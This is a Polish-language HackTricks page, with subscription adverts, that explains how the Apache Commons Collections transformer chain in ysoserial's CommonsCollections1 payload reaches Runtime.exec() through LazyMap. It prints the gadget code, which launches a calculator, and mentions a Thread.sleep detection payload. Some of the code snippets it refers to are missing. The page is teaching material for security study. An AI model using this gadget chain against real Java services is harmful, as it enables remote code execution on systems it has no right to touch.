Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i hacktricks-cloud.
Java Transformers do Rutime exec()
W wielu miejscach można znaleźć ładunek deserializacji Javy, który wykorzystuje transformery z Apache common collections, tak jak w poniższym przykładzie:
Jeśli nie wiesz nic o ładunkach deserializacji w języku Java, może być trudno zrozumieć, dlaczego ten kod uruchamia kalkulator.
Po pierwsze, musisz wiedzieć, że Transformer w Javie to coś, co otrzymuje klasę i przekształca ją w inną.
Warto również wiedzieć, że wykonywany ładunek tutaj jest równoważny z:
Więc, jak pierwszy payload jest równoważny tym "prostym" jednolinijkowcom?
Po pierwsze, można zauważyć w payloadzie, że tworzony jest łańcuch (tablica) transformacji:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Jeśli przeczytasz kod, zauważysz, że jeśli w jakiś sposób połączysz transformację tablicy, będziesz w stanie wykonać dowolne polecenia.
W ostatniej sekcji ładunku można zobaczyć, że tworzony jest obiekt Map. Następnie, funkcja decorate jest wywoływana z obiektem mapy i połączonymi transformatorami z LazyMap. Z poniższego kodu można zobaczyć, że spowoduje to skopiowanie połączonych transformatorów do atrybutu lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
I następnie wykonuje się wielkie finałowe polecenie: lazyMap.get("anything");
Oto kod funkcji get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
A oto kod funkcji transform:
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Więc pamiętaj, że wewnątrz fabryki zapisaliśmy chainedTransformer, a wewnątrz funkcji transform przechodzimy przez wszystkie te połączone transformery i wykonujemy je jeden po drugim. Śmieszne jest to, że każdy transformer używa object jako wejścia, a object jest wynikiem ostatniego wykonanego transformera. Dlatego wszystkie transformacje są połączone i wykonują złośliwy payload.
Podsumowanie
Na końcu, ze względu na to, jak lazyMap zarządza połączonymi transformatorami wewnątrz metody get, jest to tak, jakbyśmy wykonywali następujący kod:
Zauważ, że tutaj wyjaśniono używane gadżety dla ładunku ComonsCollections1. Ale nie jest wyjaśnione, jak to wszystko się zaczyna wykonywać. Możesz zobaczyć tutaj, że ysoserial, w celu wykonania tego ładunku, używa obiektu AnnotationInvocationHandler, ponieważ kiedy ten obiekt zostanie zdeserializowany, wywoła funkcję payload.get(), która wykona cały ładunek.
Java Thread Sleep
Ten ładunek może być przydatny do identyfikacji podatności witryny, ponieważ spowoduje opóźnienie, jeśli taka podatność istnieje.
Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!